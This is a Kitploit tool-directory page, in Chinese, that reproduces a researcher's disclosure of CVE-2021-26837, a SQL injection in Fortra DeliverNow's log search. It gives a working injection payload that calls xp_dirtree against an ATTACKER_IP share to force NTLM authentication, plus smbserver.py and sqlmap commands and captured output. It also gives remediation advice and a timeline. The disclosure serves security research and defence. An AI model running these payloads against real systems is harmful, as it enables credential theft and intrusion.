Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-26837 — CVE-2021-26837 - HelpSystems/Fortra DeliverNow 的 SearchTextbox 参数中的 SQL 注入。包含 Payload、带注释的请求和证据。已在 1.2.18 中修复。 | Kitploit
工具/GitHubGitHub/l0lsec/cve-2021-26837
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露渗透测试
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - HelpSystems/Fortra DeliverNow 的 SearchTextbox 参数中的 SQL 注入。包含 Payload、带注释的请求和证据。已在 1.2.18 中修复。

查看仓库
41个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2021-26837

HelpSystems / Fortra DeliverNow SQL 注入漏洞

DeliverNow 的日志搜索页面(/LogGrid.aspx)上的 SearchTextbox 参数被直接拼接到 SQL Server 查询中,没有参数化处理,也没有服务端验证。该应用还将由此产生的 SQL Server 解析器错误直接回显给用户,这正是该漏洞最初自我暴露的方式。

数据库连接以 sa 身份运行,因此该注入继承了实例上的完全 sysadmin 权限。这足以对攻击者控制的 UNC 路径调用 master.dbo.xp_dirtree,并强制 SQL Server 服务账户向外进行身份验证。

在一次内部渗透测试中发现。厂商已在 DeliverNow 1.2.18 中修复,并以 CVE-2021-26837 编号发布。

由 Show Up Show Out Security 的 Sedric Louissaint 发现并报告。


摘要

CVECVE-2021-26837
产品DeliverNow(HelpSystems,现为 Fortra)
受影响版本1.2.18 之前(原始公告列为 1.2.18 及更早版本)
弱点CWE-89:SQL 注入
CVSS 3.1(NVD)9.8 严重 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2(研究人员)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
发布时间2023-09-19
测试环境Windows Server 2019 Datacenter 10.0 (x64)、SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

NVD 描述:

Fortra(原 HelpSystems)DeliverNow 1.2.18 之前版本中的 SearchTextBox 参数存在 SQL 注入漏洞,允许攻击者执行任意代码、提升权限并获取敏感信息。

技术细节

注入点

POST /LogGrid.aspx,请求体参数 SearchTextbox。该表单是应用程序 Log(日志)视图中的搜索控件。ddlFieldName 选择要搜索的列(下面的请求中为 Description),SearchTextbox 承载搜索词。

一个单引号就足以证明:

root@kitploit:~
blah'

响应将 SQL Server 解析器错误直接渲染在页面中:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

日志搜索返回未闭合引号错误

这种错误信息泄露本身就是一个独立的发现。它将原本的盲注转变为完全交互式的注入。

通过 xp_dirtree 进行带外确认

由于连接以 sa 身份运行,因此可以调用 master.dbo.xp_dirtree。将其指向你控制的主机上的 UNC 路径,即可使 SQL Server 服务账户通过 SMB 向该主机进行出站身份验证:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

搜索框中的载荷

完整请求见 poc/exploited-request.http,载荷见 poc/payloads.sql。

被利用的 HTTP 请求

捕获的身份验证

在 Impacket 的 smbserver.py 监听下,目标的 SQL Server 服务账户完成身份验证并泄露了一个 NTLMv2 哈希:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

使用 Impacket 捕获到的强制身份验证

该哈希随后可用于离线破解,或用于对其他主机进行 NTLM 中继。

权限上下文

sqlmap 确认了注入点和权限级别:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sqlmap 枚举显示当前用户为 sa

sa 意味着实例上的每个登录哈希都可读取,而 xp_cmdshell 只需一次 sp_configure 调用即可在主机上执行命令。

复现步骤

针对你拥有或获授权测试的实验室实例:

  1. 浏览到 DeliverNow Web 界面(默认 http://<host>:1080/)并打开 Log(日志)视图。
  2. 在搜索框中输入 blah' 并提交。存在漏洞的版本会在页面中渲染出 SQL Server 解析器错误。
  3. 在目标可以访问的主机上启动一个监听器:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. 提交 poc/payloads.sql 中的 xp_dirtree 载荷,并替换为你自己的 IP。存在漏洞的版本会产生来自 SQL Server 服务账户的入站 SMB 身份验证。
  5. 可选:使用保存的请求通过 sqlmap 进行确认:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

仓库内容

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

截图中的主机和哈希来自最初的渗透测试项目,早已失效。复现时请替换为你自己的监听地址。

修复建议

  1. 对基于用户输入构建的每个查询使用参数化查询 / 预处理语句。这才是真正的修复。其余都是纵深防御。
  2. 在服务端进行验证和清理。 POST 请求体完全受攻击者控制,无论客户端表单允许什么。
  3. 不要以 sa 身份连接。 应用程序只需要对其自身表的读写访问权限。它不需要 sysadmin,也不需要 xp_dirtree。最小权限原则无法阻止注入,但可以控制其影响范围。
  4. 不要将数据库错误渲染给用户。 在服务端记录日志,并向用户返回通用信息。
  5. 在网络边界限制数据库服务器的出站 SMB,从而消除此处利用的带外通道。

厂商已在 DeliverNow 1.2.18 中修复。请升级。

时间线

日期事件
2021在一次内部渗透测试中发现并报告给 HelpSystems
2021在 DeliverNow 1.2.18 中修复
2023-09-19CVE-2021-26837 发布至 NVD,评分为 9.8 严重

相关文章

  • 个人博客:https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security:https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

免责声明

本文在厂商完成修复后发布,仅供防御和教育用途。文中的载荷针对的是多年前已修补的版本。请勿在你不拥有或未获书面授权测试的系统上运行这些载荷。

下载工具